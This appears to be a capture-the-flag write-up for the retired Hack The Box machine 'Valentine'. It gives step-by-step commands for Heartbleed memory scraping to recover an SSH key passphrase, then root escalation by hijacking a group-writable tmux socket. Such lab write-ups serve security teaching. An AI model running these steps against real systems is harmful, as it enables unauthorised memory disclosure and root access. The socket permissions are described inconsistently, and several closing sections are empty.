~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / valentine.md

valentine

Linux · Easy · released 2018-02-17 · retired 2018-07-28

Summary

Valentine is the canonical Heartbleed box on HTB. Everything from the box name to the homepage image (the Heartbleed disclosure logo) announces the CVE; the challenge is executing it correctly against an unpatched OpenSSL and extracting usable data from heap memory dumps.

The kill-chain is: nmap with default NSE scripts flags CVE-2014-0160 (Heartbleed) on port 443 → gobuster finds /dev/hype_key (a hex-encoded encrypted RSA private key) and /decode.php (a base64 decoder whose POST traffic is in memory) → iterating Heartbleed dumps against the live server leaks a base64-encoded string from heap memory → decoding it yields the key passphrase heartbleedbelievethehype → SSH as user hype → a world-accessible tmux socket owned by root (/.devs/dev_sess) is group-writable by hypetmux attach yields a root shell.

Two techniques recur across many HTB boxes and deserve close attention: heap memory scraping via a transport-layer vulnerability (Heartbleed is the classic but the pattern applies to any server-side memory disclosure), and tmux / screen socket hijacking (a root-owned socket with overly permissive group ownership is a trivial privesc).

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10
80/tcp   open  http    Apache httpd 2.2.22 (Ubuntu)
443/tcp  open  https   Apache httpd 2.2.22 (Ubuntu)
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
|   cryptographic software library.
|     State: VULNERABLE
|     Risk factor: High
|       CVE: CVE-2014-0160

nmap’s default -sC script set includes ssl-heartbleed, which fires against any TLS port and reports the result. No additional flags are needed to confirm the vulnerability. The SSH version pins Ubuntu 12.04 (Precise Pangolin), an EOL release with the unpatched OpenSSL 1.0.1 that shipped with it.

The box homepage renders a single image: the Heartbleed disclosure logo. No other content on HTTP or HTTPS.

Web enumeration

gobuster dir -u https://<TARGET>/ -k \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

(-k disables certificate verification for the self-signed cert.)

Key findings:

Path Notes
/dev/ Directory listing enabled
/dev/hype_key Hex-encoded RSA private key
/dev/notes.txt Developer notes referencing an encoder/decoder in progress
/encode.php Base64 encoder (GET or POST text=)
/decode.php Base64 decoder — POST traffic is in memory; Heartbleed will leak it

/dev/hype_key is the load-bearing find. Its filename leaks the username (hype), and its content is the encrypted RSA private key stored as a hex dump. The notes confirm the encoder/decoder pages are actively used, making them the traffic source Heartbleed will scrape.

Recovering the SSH key

/dev/hype_key is hex-encoded, not PEM. Convert it:

wget -q https://<TARGET>/dev/hype_key --no-check-certificate
cat hype_key | xxd -r -p > hype_key.pem

The decoded file is an AES-128-CBC encrypted RSA private key:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
...

The passphrase is unknown at this stage. Heartbleed provides it.

Foothold — CVE-2014-0160 (Heartbleed)

Heartbleed is a bounds-checking bug in OpenSSL’s TLS heartbeat extension (RFC 6520). The client sends a heartbeat request with a declared payload length; the server copies length bytes from server memory into the response without verifying that the actual payload is that long. A request claiming a 64 KB payload with a 1-byte actual body leaks up to 64 KB of whatever occupies server heap memory adjacent to the request buffer — TLS session keys, private key material, plaintext from decrypted traffic, cookie values, and POST body parameters.

Because /decode.php is being actively POSTed to (by the box itself or by prior players), its request bodies are present in heap memory. Those bodies contain base64 strings that Heartbleed can read back.

searchsploit heartbleed
searchsploit -m exploits/multiple/remote/32764.py

A single run leaks a random slice of memory. Run in a loop until the POST body surfaces:

mkdir -p dumps
for i in $(seq 1 200); do
    python3 32764.py <TARGET> >> dumps/dump_$i.txt 2>/dev/null
done

Search the dumps for base64-looking strings in text= POST parameters:

grep -r "text=" dumps/ | grep -oP 'text=\K[A-Za-z0-9+/=]+'

The string that appears consistently across dumps:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Decode it:

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
# → heartbleedbelievethehype

This is the passphrase for the encrypted key. Decrypt it and connect:

openssl rsa -in hype_key.pem -out hype_key.dec
# Enter passphrase: heartbleedbelievethehype

chmod 600 hype_key.dec
# Modern OpenSSH clients disable RSA-SHA1 by default; the flag re-enables it
ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -i hype_key.dec hype@<TARGET>
hype@Valentine:~$ id
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),...

user.txt is at /home/hype/user.txt.

Privilege escalation — tmux socket hijacking

Enumerate running processes as hype:

ps aux | grep tmux
root  1022  0.0  0.1  26416  1680 ?  Ss   Jul25  0:54
    /usr/bin/tmux -S /.devs/dev_sess

Root is running a tmux session with its socket at /.devs/dev_sess. Check the socket’s permissions:

ls -la /.devs/
# srw-rw---- 1 root hype 0 Jul 25 15:07 dev_sess

The socket is owned by root but its group is hype with read/write permission. Since the current user is hype, the socket is writable. tmux’s attach subcommand connects to an existing session via its socket:

tmux -S /.devs/dev_sess attach

This attaches to the root-owned tmux session. Any command typed in the terminal runs in root’s shell context:

root@Valentine:/# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗